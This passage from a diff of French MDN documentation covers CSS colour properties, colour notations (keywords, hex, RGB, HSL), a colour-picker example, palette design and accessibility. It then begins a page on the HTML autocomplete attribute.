Cette propriété correspondra à la couleur utilisée en arrière-plan du texte.
+
{{cssxref("text-shadow")}}
+
Cette propriété permet d'ajouter un effet d'ombre au texte. Parmi les options de cette ombre, on a la couleur de base de l'ombre (qui participe au flou et qui est fusionnée avec l'arrière-plan selon les autres paramètres. Voir ce paragraphe pour en savoir plus.
+
{{cssxref("text-decoration-color")}}
+
Par défaut, les décorations du texte (le soulignement, les rayures, etc.) utilise la propriété color pour leurs couleurs. Il est cependant possible de passer outre cette valeur et de fournir une couleur différente avec la propriété text-decoration-color.
+
{{cssxref("text-emphasis-color")}}
+
Cette propriété correspondra à la couleur utilisée pour dessiner les symboles d'emphase utilisés à côté des caractères du texte. Ces symboles sont principalement utilisés dans des textes écrits dans des langues d'Asie orientale.
+
{{cssxref("caret-color")}}
+
Cette  propriété correspondra à la couleur utilisée pour dessiner le curseur de saisie de texte dans l'élément. Cette propriété est uniquement pertinente pour les éléments qui sont éditables (par exemple {{HTMLElement("input")}} et {{HTMLElement("textarea")}} ou les éléments dont l'attribut {{htmlattrxref("contenteditable")}} est activé).
+
+ +

Boîtes

+ +

Chaque élément est une boîte avec du contenu. Cette boîte possède un arrière-plan et une bordure, quel que soit le contenu qu'elle renferme

+ +
+
{{anch("Bordures")}}
+
Voir la section {{anch("Bordures")}} pour la liste des propriétés CSS qui peuvent être utilisées pour colorer la bordure d'une boîte.
+
{{cssxref("background-color")}}
+
Cette propriété correspondra à la couleur d'arrière-plan, utilisée dans les zones où l'élément ne possède pas de contenu au premier plan.
+
{{cssxref("column-rule-color")}}
+
Cette propriété correspondra à la couleur utilisée pour dessiner la ligne qui sépare des colonnes de texte.
+
{{cssxref("outline-color")}}
+
Cette propriété correspondra à la couleur utilisée pour le contour de l'élément. Le contour est différent de la bordure car il occupe un espace autour de la boîte et peut alors chevaucher le contenu d'une autre boîte. Le contour est généralement utilisé afin d'indiquer que l'élément a le focus et ainsi montrer quel élément reçoit les évènements de saisie.
+
+ +

Bordures

+ +

Tout élément possède une bordure dessinée autour. Une bordure simple est représentée par une ligne dessinant un rectangle autour du contenu de l'élément. Vous pouvez lire la mise en forme des bordures grâce à CSS afin d'approfondir ce sujet.

+ +

Il est possible d'utiliser la propriété raccourcie {{cssxref("border")}} qui permet de configurer l'ensemble des caractéristiques d'une bordure en une seule règle (y compris les caractéristiques qui ne sont pas liées aux couleurs comme la largeur, le style (ligne pleine, pointillés, etc.) et ainsi de suite).

+ +
+
{{cssxref("border-color")}}
+
Cette propriété correspondra à la couleur qui sera utilisée pour chacun des côtés de la bordure.
+
{{cssxref("border-left-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-top-color")}}, {{cssxref("border-bottom-color")}}
+
Ces propriétés permettent d'indiquer une couleur différente pour chaque côté de la bordure de l'élément.
+
{{cssxref("border-block-start-color")}} et {{cssxref("border-block-end-color")}}
+
Ces propriétés permettent de définir les couleurs utilisées pour les côtés de la bordure dans l'axe orthogonal au sens d'écriture. Ainsi, si le texte est écrit en français (de gauche à droite), border-block-start-color permettra de définir le côté haut de la bordure et border-block-end-color le côté bas.
+
{{cssxref("border-inline-start-color")}} et {{cssxref("border-inline-end-color")}}
+
Ces propriétés permettent de définir les couleurs utilisées pour les bordures pour les côtés sur l'axe du sens d'écriture. Les côtés impactés dépendent donc des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}} qui permettent, la plupart du temps, d'ajuster la directionnalité du texte en fonction de la langue utilisée. Si le texte est écrit de droite à gauche, border-inline-start-color correspondra à la couleur appliquée sur le côté droit.
+
+ +

Les autres méthodes pour utiliser de la couleur

+ +

CSS n'est pas la seule technologie web qui gère des couleurs. Voici les autres technologies qui permettent d'apporter de la couleur sur une page web.

+ +
+
L'API Canvas
+
Cette API permet de dessiner des graphiques matriciels en deux dimensions à l'intérieur d'un élément {{HTMLElement("canvas")}}. Vous pouvez lire le tutoriel sur l'API Canvas pour en savoir plus.
+
SVG (Scalable Vector Graphics)
+
Ce format permet de dessiner des images en indiquant des commandes pour dessiner des formes, des motifs et des lignes afin de composer une image. Les commandes SVG sont construites dans un fichier XML et peuvent être embarquées dans une page web grâce à un élément {{HTMLElement("img")}}.
+
WebGL
+
L'API Web Graphics Library est une API basée sur OpenGL ES qui permet de dessiner en deux ou trois dimensions sur le Web. Voir Apprendre WebGL pour les graphismes en 2D et 3D afin d'en savoir plus.
+
+ +

Comment décrire une couleur

+ +

Afin de représente une couleur en CSS, il est nécessaire de trouver une méthode pour « traduire » le concept analogique de couleur dans un format numérique qu'un ordinateur pourra utiliser. Pour ce faire, on décompose la couleur en différentes composantes. Cela peut être la part de chaque couleur primaire ou bien la teinte et la luminosité de la couleur. Bref, il existe différentes façons de décrire une couleur en CSS.

+ +

Pour des informations plus détaillées sur chaque type de valeur, vous pouvez consulter la page de la référence CSS à propos de l'unité {{cssxref("<color>")}}.

+ +

Mots-clés

+ +

Un ensemble standard de noms de couleurs a été défini et il est possible d'utiliser l'un de ces mots-clés plutôt qu'une représentation numérique s'il existe un mot-clé pour la valeur qu'on souhaite utiliser. Les mots-clés désignant les couleurs regroupent les couleurs primaires et secondaires (tels quered pour rouge, blue pour bleu, orange), les tons de gris (allant de black pour noir à  white pour blanc et incluant des niveaux tels que darkgray (gris foncé) et lightgrey (gris clair)). D'autres couleurs sont également disponibles avec un mot-clé comme lightseagreen, cornflowerblue ou rebeccapurple.

+ +

Vous pouvez consulter cette liste pour connaître l'ensemble des mots-clés disponibles.

+ +

Valeurs RGB

+ +

Il existe trois façons de représenter une couleur RGB en CSS.

+ +

La notation hexadécimale

+ +

On peut utiliser une chaîne de caractères avec des chiffres hexadécimaux afin de représenter chacune des composantes (rouge, verte, bleue). On peut également décrire une quatrième composante pour l'opacité. Chaque composante est représentée par un nombre entre 0 et 255 (ce qui correspond à 0x00 et 0xFF en notation hexadécimale) ou par un nombre entre 0 et 15 (ce qui correspond à 0x0 et 0xF en notation hexadécimale). Toutes les composantes doivent être indiquées avec le même nombre de chiffres. Si c'est la notation à un seul chiffre qui est utilisée, la couleur finale sera calculée avec chaque composante doublée, autrement dit, "#D" sera converti en "#DD".

+ +

Lorsqu'on utilise une chaîne de caractères avec un code hexadécimale, la chaîne de caractères commence toujours par le caractère "#". Le reste de la chaîne correspond aux chiffres hexadécimaux. L'utilisation des majuscules ou minuscules n'a pas d'importance.

+ +
+
"#rrggbb"
+
Cette forme indique une couleur opaque dont les deux premiers chiffres hexadécimaux indiquent la composante rouge (0xrr), les deux chiffres suivants indiquent la composante verte (0xgg) et les deux derniers chiffres indiquent la composante bleue (0xbb).
+
"#rrggbbaa"
+
Cette forme indique une couleur dont les deux premiers chiffres hexadécimaux indiquent la composante rouge (0xrr), les deux chiffres suivants indiquent la composante verte (0xgg), les deux chiffres suivants indiquent la composante bleue (0xbb), enfin, les deux derniers chiffres indiquent la composante alpha (0xaa) utilisée pour indiquer l'opacité de la couleur (plus la valeur est faible, plus la couleur est transparente).
+
"#rgb"
+
Cette forme indique une couleur dont la composante rouge vaut 0xrr, la composante verte vaut 0xgg et dont la composante bleue vaut 0xbb.
+
"#rgba"
+
Cette forme indique une couleur dont la composante rouge vaut 0xrr, la composante verte vaut 0xgg et dont la composante bleue vaut 0xbb. Le canal alpha vaut 0xaa (plus la valeur est faible, plus la couleur sera transparente).
+
+ +

Par exemple, on pourra représenter un bleu pur et opaque avec les chaînes de caractères "#0000ff" ou "#00f". Pour le rendre opaquee à 25%, on utilisera "#0000ff44" ou "#00f4".

+ +

La notation fonctionnelle RGB

+ +

La notation fonctionnelle RGB permet, comme les chaînes de caractères hexadécimales, de représenter des couleurs avec leurs composantes rouge, verte, bleue et éventuellement avec une composante alpha pour l'opacité. Toutefois, au lieu d'utiliser une chaîne de caractères, on utilise ici la fonction CSS {{cssxref("Type_color","rgb()","#rgb()")}}. Cette fonction prend trois arguments pour chacune des composantes (dans cet ordre) rouge, verte et bleue. Un quatrième paramètre, optionnel, permet d'indiquer la valeur du canal alpha.

+ +

Voici les valeurs qui peuvent être utilisées pour chacun de ces paramètres :

+ +
+
red, green et blue
+
Chaque composante doit être un entier (type {{cssxref("<integer>")}}) compris entre 0 et 255 (inclus) ou un pourcentage (type {{cssxref("<percentage>")}}) compris entre 0% et 100%.
+
alpha
+
Le canal alpha est un nombre entre 0.0 (la couleur est alors totalement transparente) et 1.0 (complètement opaque). On peut également utiliser un pourcentage où 0% correspondra à la valeur 0.0 et 100% correspondra à la valeur 1.0.
+
+ +

Par exemple, on pourra représenter un rouge pur à moitié opaque grâce à rgb(255, 0, 0, 0.5) ou grâce à rgb(100%, 0, 0, 50%).

+ +

La notation fonctionnelle HSL

+ +

D'autres personnes préfèrent manipuler la notation HSL ou aussi appeléee « Teinte saturation luminosité » (NDT : HSL signifie Hue Saturation Lightness en anglais). Sur le Web, les couleurs HSL sont représentées grâce à la notation fonctionnelle hsl() (qui fonctionne de façon analogue à la fonction rgb()).

+ +
+
HSL color cylinder +
Figure 1. Le cylindre HSL. Hue (la teinte) définit la couleur sur un axe radial qui parcourt les couleurs du spectre visible. La saturation est un pourcentage de la teinte entre un gris total et la couleur de la teinte vive. Enfin, la luminosité permet d'avoir des couleurs plus sombres (noir pour une luminosité nulle ou blanc pour une luminosité maximale). Cette image a été créée par SharkD sur Wikipédia et est distribuée avec la licence CC BY-SA 3.0.
+
+
+ +

La valeur de la teinte (H) est un angle qui début au rouge, parcourt le jaune, le vert, le cyan, le bleu et le magenta (avant de revenir à rouge avec un angle de 360°). Cette valeur identifie la teinte de base. La valeur utilisée est de type {{cssxref("<angle>")}} et on peut utiliser différentes unités disponibles en CSS comme les degrés (deg), les radians (rad), les grades (grad) ou les tours (turn).

+ +

Ensuite, la saturation (S) indique la force de la teinte dans la couleur. Enfin, la luminosité (L) indique le niveau de gris de la couleur.

+ +

On peut faire une analogie avec la conception d'une couleur pour une peinture :

+ +
    +
  1. On commence avec une peinture de base qui possède l'intensité la plus forte pour une couleur donnée (par exemple, le bleu le plus intense qui puisse être affiché) : c'est la teinte (hue) (H). En CSS, c'est un angle qui détermine la couleur parmi une roue de couleurs.
    2. +
  2. Ensuite, on choisit une peinture avec un niveau de gris qui la force de la couleur. Est-ce qu'on veut qu'elle soit claire ou sombre, voire complètement noire ? C'est la luminosité (L). En CSS, c'est un pourcentage, 0% indiquant une couleur noire et 100% une couleur blanche.
    3. +
  3. Enfin, avec ces deux peintures, on décide de la proportion de chacune pour le mélange final : c'est la saturation (S). Plus cette valeur est élevée, plus on utilise la couleur de base, plus cette valeur est faible et plus on utilise la peinture grise.
    4. +
+ +

Il est également possible d'ajouter un canal alpha afin d'avoir une couleur partiellement (ou totalement) transparente.

+ +

Voici quelques exemples utilisant la notation HSL :

+ +
+ + +

{{EmbedLiveSample("hsl-swatches", 300, 260)}}

+
+ +
+

Note : Il est possible d'omettre l'unité pour la valeur de la teinte (hue), l'unité par défaut utilisée sera alors les degrés (deg).

+
+ +

Utiliser les couleurs

+ +

Maintenant qu'on connaît les différentes propriétés CSS, comment décrire une couleur et dans quel format, on peut assembler cela pour utiliser les couleurs dans un document web. Comme on l'a vu précédemment, de nombreuses choses peuvent être colorées. Pour ce faire, on peut utiliser deux mécanismes : une « feuille de style » et du code JavaScript pour modifier et ajouter des couleurs dynamiquement.

+ +

Indiquer les couleurs via une feuille de style

+ +

La façon la plus simple (et la plus fréquemment utilisée) pour appliquer des couleurs est d'utiliser une feuille de style CSS qui sera traitée par le navigateur au moment d'afficher les éléments à l'écran. Par la suite, nous verrons plusieurs exemples (sans pour autant exploiter toutes ces propriétés).

+ +

Prenons un exemple et commençons par le résultat :

+ +
{{EmbedLiveSample("Indiquer_les_couleurs_via_une_feuille_de_style", 650, 150)}}
+ +

HTML

+ +

Voici le fragment de code HTML utilisé pour cet exemple :

+ +
<div class="conteneur">
+  <div class="boite boiteGauche">
+    <p>
+      Voici la première boîte.
+    </p>
+  </div>
+  <div class="boite boiteDroite">
+    <p>
+      Voici la seconde boîte.
+    </p>
+  </div>
+</div>
+ +

Ce fragment est plutôt simple : on utilise un élément {{HTMLElement("div")}} qui enveloppe le contenu, constitué de deux <div>, chacun avec une classe différente et contenant chacun un paragraphe (c'est-à-dire un élément {{HTMLElement("p")}}).

+ +

Voyons ensuite la feuille de style CSS appliquée au bloc HTML précédent.

+ +

CSS

+ +

Nous allons ici étudier la feuille de style en la décomposant, partie par partie.

+ +
.conteneur {
+  width: 620px;
+  height: 110px;
+  margin: 0;
+  padding: 10px;
+  border: 6px solid mediumturquoise;
+}
+ +

Le sélecteur de classe .conteneur permet d'appliquer des styles à l'élément {{HTMLElement("div")}} qui enveloppe le reste du contenu. Pour ce style, on indique une largeur avec la propriété {{cssxref("width")}} et une hauteur avec la propriété {{cssxref("height")}}, on définit aussi une marge et une zone de remplissage avec {{cssxref("margin")}} et {{cssxref("padding")}}.

+ +

La règle la plus intéressante est celle où on manipule la propriété {{cssxref("border")}} afin de dessiner une bordure sur l'extérieur de l'élément. Cette bordure sera une ligne pleine de 6 pixels avec la couleur mediumturquoise.

+ +

Les deux boîtes colorées possèdent un certain nombre de propriétés communes. On utilise donc une classe : .boite pour laquelle on définit ces propriétés qui seront appliquées sur les deux éléments :

+ +
.boite {
+  width: 290px;
+  height: 100px;
+  margin: 0;
+  padding: 4px 6px;
+  font: 28px "Marker Felt", "Zapfino", cursive;
+  display: flex;
+  justify-content: center;
+  align-items: center;
+}
+ +

Pour résumer, les styles ciblés par .boite indiquent la taille de la boîte, la configuration de la police de caractères utilisée, centrent le contenu des boîtes grâce aux boîtes flexibles CSS. Pour cela, on utilise le mode d'affichage flex avec {{cssxref("display", "display: flex")}} et on paramètre les propriétés {{cssxref("justify-content")}} et {{cssxref("align-items")}} avec la valeur center. Ensuite, on crée une classe pour chacune des deux boîtes dont chacune définit les propriétés qui diffèrent entre ces éléments.

+ +
.boiteGauche {
+  float: left;
+  background-color: rgb(245, 130, 130);
+  outline: 2px solid darkred;
+}
+ +

La classe .boiteGauche permet de mettre en forme la boîte située à gauche et on l'utilise pour définir certaines couleurs :

+ +
    +
  • La couleur de l'arrière-plan est définie grâce à la propriété {{cssxref("background-color")}} pour laquelle on fournit la valeur rgb(245, 130, 130).
    • +
  • Un contour est défini autour de la boîte grâce à la propriété {{cssxref("outline")}}. Ici, ce contour est une ligne pleine, rouge foncée (le mot-clé darkred) de deux pixels.
    • +
  • On notera ici qu'on ne définit pas de couleur pour le texte. La valeur qui sera utilisée pour la propriété {{cssxref("color")}} sera celle qui est héritée par le plus proche élément englobant qui définit cette propriété. La couleur par défaut est le noir.
    • +
+ +
.boiteDroite {
+  float: right;
+  background-color: hsl(270deg, 50%, 75%);
+  outline: 4px dashed rgb(110, 20, 120);
+  color: hsl(0deg, 100%, 100%);
+  text-decoration: underline wavy #88ff88;
+  text-shadow: 2px 2px 3px black;
+}
+ +

Enfin, la classe .boiteDroite décrit les propriétés de la boîte dessinée à droite. On configure cette boîte afin qu'elle flotte à droite de la boîte précédente. Ensuite, on paramètre les couleurs suivantes :

+ +
    +
  • La propriété background-color est définie avec la notation fonctionnelle HSL : hsl(270deg, 50%, 75%). Cela correspond à un violet.
    • +
  • La propriété outline permet d'indiquer un contour de 4 pixels formé par une ligne pointillée dont la couleur est exprimée avec la notation fonctionnelle RGB rgb(110, 20, 120) (violet foncé).
    • +
  • La couleur de premier plan (c'est-à-dire celle utilisée pour le texte) est définie avec la propriété {{cssxref("color")}} et la valeur hsl(0deg, 100%, 100%) qui correspond au blanc.
    • +
  • On ajoute une ligne verte ondulée sous le texte avec {{cssxref("text-decoration")}}.
    • +
  • Enfin, on ajoute une ombre au texte avec la propriété {{cssxref("text-shadow")}} dont le paramètre de couleur vaut black (noir).
    • +
+ +

Permettre à l'utilisateur de choisir une couleur

+ +

Il existe différentes situations où l'on peut/doit permettre à l'utilisateur de sélectionner une couleur. Il peut s'agir d'une interface personnalisable, d'une application de dessin, d'une application d'édition où on peut choisir la couleur du texte, etc. Bien que, par le passé, il fut nécessaire d'implémenter son propre sélecteur de couleur, HTML fournit désormais au navigateurs une façon homogène de le faire avec un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type", "input")}} vaut "color".

+ +

Lorsqu'on choisit une couleur via un élément <input>, la valeur stockée dans le document et envoyée via le formulaire est représentée avec une chaîne de caractères hexadécimale.

+ +

Exemple : sélectionner une couleur

+ +

Prenons un exemple simple où l'utilisateur choisit une couleur qui est immédiatement appliquée sur la bordure de l'exemple. Une fois la couleur finale sélectionnée, la valeur du sélecteur de couleur est affichée.

+ +

{{EmbedLiveSample("Exemple_:_sélectionner_une_couleur", 525, 275)}}

+ +
+

Note : Sur macOS, pour indiquer qu'on a fini de choisir la couleur, il faut fermer la fenêtre du sélecteur de couleur.

+
+ +

HTML

+ +

Voici le fragment HTML qui permet de créer une boîte qui contient un sélecteur de couleur avec un libellé associé (l'élément {{HTMLElement("label")}}) ainsi qu'un paragraphe ({{HTMLElement("p")}}) vide dans lequel nous placerons plus tard du texte avec JavaScript.

+ +
<div id="box">
+  <label for="colorPicker">Couleur de la bordure :</label>
+  <input type="color" value="#8888ff" id="colorPicker">
+  <p id="output"></p>
+</div>
+ +

CSS

+ +

La feuille CSS détermine la taille de la boîte et une mise en forme simple. La bordure mesure deux pixels de large (mais sera modifiée par le code JavaScript qui va suivre…).

+ +
#box {
+  width: 500px;
+  height: 200px;
+  border: 2px solid rgb(245, 220, 225);
+  padding: 4px 6px;
+  font: 16px "Lucida Grande", "Helvetica", "Arial", "sans-serif"
+}
+ +

JavaScript

+ +

Le script est utilisé pour mettre à jour la couleur de la bordure afin que celle-ci corresponde à la valeur courante du sélecteur. On ajoute ensuite deux gestionnaires d'évènements pour « écouter » ce qui se passe avec l'élément <input type="color">.

+ +
let colorPicker = document.getElementById("colorPicker");
+let box = document.getElementById("box");
+let output = document.getElementById("output");
+
+box.style.borderColor = colorPicker.value;
+
+colorPicker.addEventListener("input", function(event) {
+  box.style.borderColor = event.target.value;
+}, false);
+
+colorPicker.addEventListener("change", function(event) {
+  output.innerText = "Couleur choisie : " + colorPicker.value;
+}, false);
+ +

L'évènement {{event("input")}} est envoyé chaque fois que la valeur de l'élément change, c'est-à-dire chaque fois que l'utilisateur ajuste la couleur via le sélecteur. Pour chacun de ces évènements, on modifie la couleur de la bordure afin qu'elle corresponde à celle du sélecteur.

+ +

L'évènement {{event("change")}} est reçu lors de la finalisation du choix de la couleur via le sélecteur. Lorsque cet évènement suvient, on modifie le contenu de l'élément <p> (le paragraphe) qui possède l'identifiant "output" en y ajoutant une chaîne de caractères qui décrit la couleur choisie.

+ +

L'art de choisir une couleur

+ +

Choisir les bonnes couleurs lors de la conception d'un site web peut s'avérer plus compliqué qu'il n'y paraît. Un mauvais choix de couleur peut nuire à l'attractivité du site voire empêcher les utilisateurs de consulter le contenu si le contraste est trop faible ou les couleurs trop criardes. Dans le pire des cas, le site peut être inutilisable à cause des couleurs choisies pour les personnes qui ont des handicaps visuels.

+ +

Trouver les bonnes couleurs

+ +

Il existe des outils qui permettent de faciliter la sélection des couleurs. Bien qu'ils ne remplacent pas un bon designer, ils permettent au moins de commencer.

+ +

La couleur de base

+ +

La première étape consiste à choisir la couleur de base. C'est la couleur principale qui participe à la définition du site web ou du sujet dont il est question. Par exemple, on associe la couleur jaune à La Poste, le bleu au ciel ou à quelque chose de marin, etc. Voici quelques idées (parmi les nombreuses qui existent) pour choisir une couleur de base :

+ +
    +
  • Une couleur naturellement associée au contenu : la couleur d'un produit ou une couleur rattachée à un concept/une émotion dont il serait question sur le site.
    • +
  • Naviguer parmi les sites existants et les bibliothèques d'image pour puiser de l'inspiration parmi les couleurs.
    • +
+ +

Une fois la couleur de base sélectionnéee, vous pouvez utiliser certaines extensions de navigateur pour « prélever » des couleurs existantes sur le web. Le site web ColorZilla, par exemple, propose une extension (Chrome / Firefox) qui permet d'utiliser une pipette pour identifier les couleurs utilisées à un endroit d'une page web. Cette extension permet également de mesurer la couleur moyenne des pixels d'une zone donnée.

+ +
+

Note : On peut s'apercevoir qu'un site contient plusieurs couleurs très proches les unes des autres, utiliser une « moyenne » permet alors de récupérer le ton principal sous la forme d'une seule couleur.

+
+ +

Agrémenter la palette

+ +

Une fois la couleur de base sélectionnée et identifiée, il existe de nombreux outils qui permettent de construire une palette de couleurs qui pourront être utilisées avec cette couleur de base. Ces outils utilisent la théorie des couleurs pour déterminer les couleurs appropriées. Certains de ces outils permettent également de voir les couleurs « filtrées » afin de visualiser ce qu'une personne daltonienne verrait.

+ +

Voici quelques exemples (libres d'accès et gratuits au moment où nous écrivons ces lignes) de tels outils :

+ + + +

Lorsque vous concevez votre palette de couleurs, gardez à l'esprit qu'en plus des couleurs générées par ces outils, il faudra vraisemblablement prévoir des couleurs neutres (telles que le blanc ou un ton de blanc, du noir ou un ton de noir et certaines nuances de gris).

+ +
+

Note : On utilise généralement le moins de couleurs possibles afin de garder une cohérence. En utilisant des couleurs afin d'accentuer certains éléments plutôt que d'en utiliser pour tous les éléments de la page, on rend le contenu plus facile à lire et à parcourir. De plus, les couleurs ont ainsi plus d'impact

+
+ +

Quelques ressources sur la théorie des couleurs

+ +

Décrire l'ensemble des notions liées à la théorie des couleurs dépasse le sujet de cet article. Toutefois, il existe de nombreux articles traitant de ce sujet ainsi que des cours pour apprendre ces notions. Voici quelques unes des ressources disponibles en ligne à propos de la théorie des couleurs :

+ +
+
La science des couleurs (en anglais) (Khan Academy en association avec Pixar)
+
Un cours en ligne qui introduit certains concepts : qu'est-ce qu'une couleur, comment est-elle perçue, comment utiliser les couleurs afin de véhiculer certaines idées.
+
La théorie des couleurs sur Wikipédia (en anglais)
+
La page Wikipédia qui traite de la théorie des couleurs et qui fournit de nombreuses informations techniques.
+
+ +

Les couleurs et l'accessibilité

+ +

Une couleur peut poser différents problèmes d'accessibilité. Une couleur mal choisie pourra empêcher certaines personnes d'utiliser l'interface du site, ce qui peut se traduire par une baisse de fréquentation, une mauvaise image (au sens propre comme au figuré), etc.

+ +

Pour commencer, n'hésitez pas à vous renseigner sur le daltonisme et les différents types de daltonisme : confusion rouge/vert, confusion sur l'ensemble des couleurs.

+ +
+

Note : Une règle d'or consiste à ne jamais utiliser une couleur comme seule façon d'indiquer une information. Si, par exemple, vous souhaitez indiquer une réussite ou un échec en changeant uniquement la couleur d'un symbole (un drapeau par exemple), les utilisateurs souffrant de daltonismes et avec une confusion rouge/vert ne pourront pas lire cette information. Il est sans doute préférable d'utiliser du texte et de la couleur afin que tout le monde puisse être en mesure de comprendre ce qui a changé.

+
+ +

Pour plus d'informations sur le daltonisme, vous pouvez consulter les articles suivants (en anglais, n'hésitez pas à éditer la page pour ajouter des ressources francophones) :

+ + + +

Un exemple de conception de palette

+ +

Considérons un exemple rapide pour construire une palette. Imaginons qu'on souhaite construire un site web pour un jeu dont l'action se déroule sur Mars. On peut rechercher des images relatives à Mars sur Google ou sur un autre moteur de recherche. On utilise un sélecteur de couleur pour sélectionner un échantillon de couleur.

+ +

Avec une pipette, on identifie la couleur de base : c'est la couleur de code D79C7A, qui correspond à un rouge orangé rouillé, typique de l'imaginaire collectif pour la surface martienne.

+ +

Une fois la couleur de base sélectionnée, on construit la palette. Pour cela, nous avons choisi Paletteon afin de compléter avec d'autres couleurs. Lorsqu'on ouvre Palleton, on voit ceci :

+ +

L'affichage du site Palleton après l'ouverture

+ +

Ensuite, on saisi le code de la couleur (D79C7A) dans le champ "Base RGB" situé en bas à gauche de l'outil :

+ +

After entering base color

+ +

On obtient alors une palette monochromatique, basée sur la couleur sélectionnée. Si vous avez besoin d'un nuancier autour de cette couleur, la palette monochromatique pourra sans doute vous aider. Mais ici, on souhaite plutôt avoir une couleur qui ressorte, pour cela on clique sur le case "add complementary"sous le menu permettant de sélectionner le type de palette (et qui vaut "Monochromatic"). Paletteon calcule alors une couleur complémentaire appropriée et indique le code de cette nouvelle couleur dans le coin inférieur droit : #508D7C.

+ +

Now with complementary colors included.

+ +

Si vous n'êtes pas satisfait du résultat obtenu, vous pouvez faire varier le schéma de composition. Ainsi, on pourra utiliser le thème "Triad" qui fournira le résultat suivant :

+ +

Triad color scheme selected

+ +

On obtient alors un bleu gris en haut à droite. En cliquant dessus, on obtient le code #556E8D. On pourra utiliser cette couleur afin d'accentuer certains éléments tels que les titres ou les onglets mis en évidence ou bien d'autres indicateurs sur le site :

+ +

Triad color scheme selected

+ +

Maintenant, nous disposons d'une couleur de base, d'une couleur d'accentuation ainsi que de variations autour de celles-ci au cas où nous aurions besoin de dégradés.  On peut exporter les couleurs sous différents formats afin de les utiliser.

+ +

Avec ces couleurs, il faudra probablement sélectionner quelques couleurs neutres. Une pratique courante consiste à trouver le contraste suffisant pour que le texte soit pleinement lisible mais sans que ce contraste soit trop fort. Il est facile de s'égarer dans l'une ou l'autre des directions : n'hésitez pas à demander des retours sur les couleurs que vous avez sélectionnées. Si le contraste est trop faible, le texte sera illisible et on ne pourra pas le distinger de l'arrière-plan, cela pourra également poser des problèmes d'accessibilité. Si le contraste est trop élevé, le site pourra paraître criard.

+ +

Les couleurs, les arrière-plans, le contraste et l'impression

+ +

Le rendu d'un document peut être différent selon que ce dernier est affiché sur un écran ou sur du papier. De plus, sur papier, on peut chercher à économiser l'encre superflu. Lorsqu'un utilisateur imprime une page, il n'est par exemple peut-être pas nécessaire d'imprimer les arrière-plans. Par défaut, la plupart des navigateurs retire les images d'arrière-plan à l'impression.

+ +

Si les couleurs d'arrière-plan ou les images sont importantes pour l'ensemble du document, on peut utiliser la propriété {{cssxref("color-adjust")}} afin d'indiquer au navigateur qu'il ne faut pas modifier l'apparence du contenu.

+ +

Par défaut, la propriété color-adjust vaut economy et indique au navigateur qu'il peut modifier l'apparence afin d'optimiser la lisibilité du contenu et d'économiser de l'encre selon le support d'imprimerie.

+ +

color-adjust peut être paramétré avec la valeur exact afin d'indiquer au navigateur qu'un ou plusieurs éléments doivent être conservés tels quels afin que l'ensemble du document ne soit pas détérioré.

+ +
+

Note : Il n'est pas garanti que le navigateur respecte exactement la feuille de style utilisée avec color-adjust: exact. En effet, si le navigateur fournit une option à l'utilisateur pour ne pas imprimer les arrière-plans, ce réglage prendra le pas sur la feuille de style.

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/html/attributes/autocomplete/index.html b/files/fr/web/html/attributes/autocomplete/index.html new file mode 100644 index 0000000000..fca919718d --- /dev/null +++ b/files/fr/web/html/attributes/autocomplete/index.html @@ -0,0 +1,228 @@ +--- +title: autocomplete +slug: Web/HTML/Attributs/autocomplete +tags: + - Attribut + - HTML + - Input + - Reference +translation_of: Web/HTML/Attributes/autocomplete +--- +
{{HTMLSidebar("Global_attributes")}}
+ +

L'attribut autocomplete est disponible pour différents types d'éléments {{HTMLElement("input")}}, {{HTMLElement("textarea")}}, {{HTMLElement("select")}} et {{HTMLElement("form")}}. autocomplete permet d'indiquer à l'agent utilisateur qu'une assistance de saisie automatique peut être fournie et également d'indiquer le type de donnée attendu.

+ +

La source fournissant les valeurs suggérées pour l'autocomplétion dépend du navigateur. Généralement, celle-ci est constituée des valeurs saisies précédemment par l'utilisateur. Ce peuvent également être des valeurs préconfigurées. Ainsi, un navigateur pourra permettre à un utilisateur d'enregistrer son nom, son adresse, son numéro de téléphone et des adresses électroniques pour l'aider lors de l'autocomplétion. Le navigateur pourrait également fournir le stockage chiffré des informations de cartes bancaires et déclencher une procédure d'authentification lorsque ces informations doivent être récupérées pour être utilisées.

+ +

Si l'élément {{HTMLElement("input")}}, {{HTMLElement("select")}} ou {{HTMLElement("textarea")}} ne possèdent pas d'attribut autocomplete, le navigateur utilisera l'attribut autocomplete du formulaire associé (c'est-à-dire l'élément {{HTMLElement("form")}} qui est l'ancêtre de l'élément <input> ou l'élément <form> dont la valeur de l'attribut id correspond à celle indiquée avec l'attribut {{htmlattrxref("form", "input")}} de l'élément <input>).

+ +

Pour plus d'informations, voir la documentation de l'attribut {{htmlattrxref("autocomplete", "form")}} pour l'élément {{HTMLElement("form")}}.

+ +
+

Note : Afin de fournir des fonctionnalités d'autocomplétion, un agent utilisateur pourra utiliser les prérequis suivants quant aux éléments <input>/<select>/<textarea>:

+ +
    +
  1. Que ceux-ci aient un attribut name et/ou id
    2. +
  2. Que ceux-ci descendent d'un élément <form>
    3. +
  3. Que le formulaire associé ait un bouton {{HTMLElement("input/submit","submit")}}
    4. +
+
+ +

Valeurs

+ +
+
off
+
Le navigateur n'est pas autorisé à saisir automatiquement des valeurs pour ce champ. Cette valeur peut être utilisée lorsque le document ou l'application fournit son propre mécanisme d'autocomplétion ou lorsque des raisons de sécurité imposent de ne pas pouvoir saisir la valeur automatiquement. +
Note : Pour la plupart des navigateurs modernes, utiliser autocomplete="off" n'empêchera pas un gestionnaire de mots de passe de demander à l'utilisateur s'il souhaite sauvegarder le nom d'utilisateur et le mot de passe ou de renseigner automatiquement les informations pour un formulaire de connexion. Voir l'article sur l'attribut autocomplete et les champs des formulaires de connexion.
+
+
on
+
Le navigateur est autorisé à compléter automatiquement le champ. Aucune indication supplémentaire n'est fournie quant au type de donnée attendu et c'est donc au navigateur d'utiliser une heuristique pour proposer des valeurs pertinentes.
+
name
+
Le champ correspondant doit recevoir le nom complet de la personne. Utiliser cette valeur plutôt que les différents composants est une méthode souvent privilégiée car on évite ainsi de gérer les différents structures des différentes locales. Toutefois, on peut utiliser les composants suivants si on souhaite décomposer l'identité de la personne : +
+
honorific-prefix
+
Le préfixe ou le titre, par exemple « M. », « Mme. », « Me. » , etc.
+
given-name
+
Le prénom.
+
additional-name
+
Le deuxième prénom.
+
family-name
+
Le nom de famille.
+
honorific-suffix
+
Un suffixe (par exemple "Jr.").
+
nickname
+
